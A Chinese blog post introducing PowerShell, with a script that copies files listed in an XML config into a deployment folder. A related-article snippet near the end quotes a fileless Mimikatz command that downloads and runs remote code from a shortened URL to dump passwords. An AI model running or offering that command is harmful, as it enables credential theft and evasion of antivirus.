Powershell 初探

原创 2016年08月28日 19:54:09

最近从一名前端程序员转行到了数据库方面,并首次接触到了Power Shell这一工具
现在有这样的需求,在某个目录下有其他程序生成的dtsx文件,需要有选择地把它们拷贝到部署目录下面
需要拷贝的文件列表写在xml文件里
形式如下:

<batch>
    <add filepath="test.txt" virtualPath="PositionRisk" />
    <add filepath="test1.txt" virtualPath="PositionRisk" />
    <add filepath="test2.txt" virtualPath="PositionRisk" />
</batch>

filepath属性表示目录下文件名,virtualPath表示目标路径下的子文件夹
完整代码如下

$scriptPath=$MyInvocation.MyCommand.Definition | split-path;
$rootPath ="$scriptPath.\..\..\" | convert-path
$deployConfigPath="$scriptPath.\deployment.config"
$deployPath = "C:\Users\likaiboy\Desktop\des\etl\PositionRisk"

if(test-path $deployPath){
    remove-item $deployPath -Force -Recurse
}

new-item -path "C:\Users\likaiboy\Desktop\des\etl" -name "PositionRisk" -type directory


$doc=new-object System.xml.XmlDocument 
$doc.load($deployConfigPath) 
$root=$doc.DocumentElement 
$fileNodes=$root.SelectNodes("//add")

function CopyFile($item, $desPath){
copy-item -Path $item -Destination $desPath
}


for($i=0 ;$i -lt $fileNodes.Count ;$i++){
    $fileName = $fileNodes.item($i).filepath
    $filePath = "$rootPath\install\PositionRisk\$fileName"

    $virtualPathAttr =$fileNodes.item($i).virtualPath
    $virtualPath = "C:\Users\likaiboy\Desktop\des\etl\$virtualPathAttr"

    if( (test-path $filePath) -and (test-path $virtualPath)){
        CopyFile $filePath $virtualPath
    }else{
        "source file do not exists"
    }
}


版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

初探PowerShell OneGet(一)

 placeholder

VB 003-绘图初探集合版

  • 2016年07月19日 22:33
  • 8KB
  • 下载

试读—Windows PowerShell实战指南(第2版)

看到Windows PowerShell实战指南(第2版),想起了女朋友送我的第一个生日礼物,它是什么呢?一本书,书的名字是:Windows 2000 脚本编程实用大全;时间过得真快,转眼十年过去了;...

Asp[1][1]Net的管理信息系统初探+

  • 2012年04月10日 01:54
  • 1.07MB
  • 下载

powershell加载mimikatz 抓密码 (无文件,躲过杀软,可以nc回显) 20160715

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -D...

初探网页模版

  • 2016年12月28日 01:05
  • 4.2MB
  • 下载

powershell 快速读取二进制大文件内容

PSTip Reading file content as a byte array Posted by Shay Levy on March 17, 2014 | Rate it  (2 v...
  • typ2004
  • typ2004
  • 2017年03月09日 22:16
  • 632
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Powershell 初探
举报原因:
原因补充:

(最多只允许输入30个字)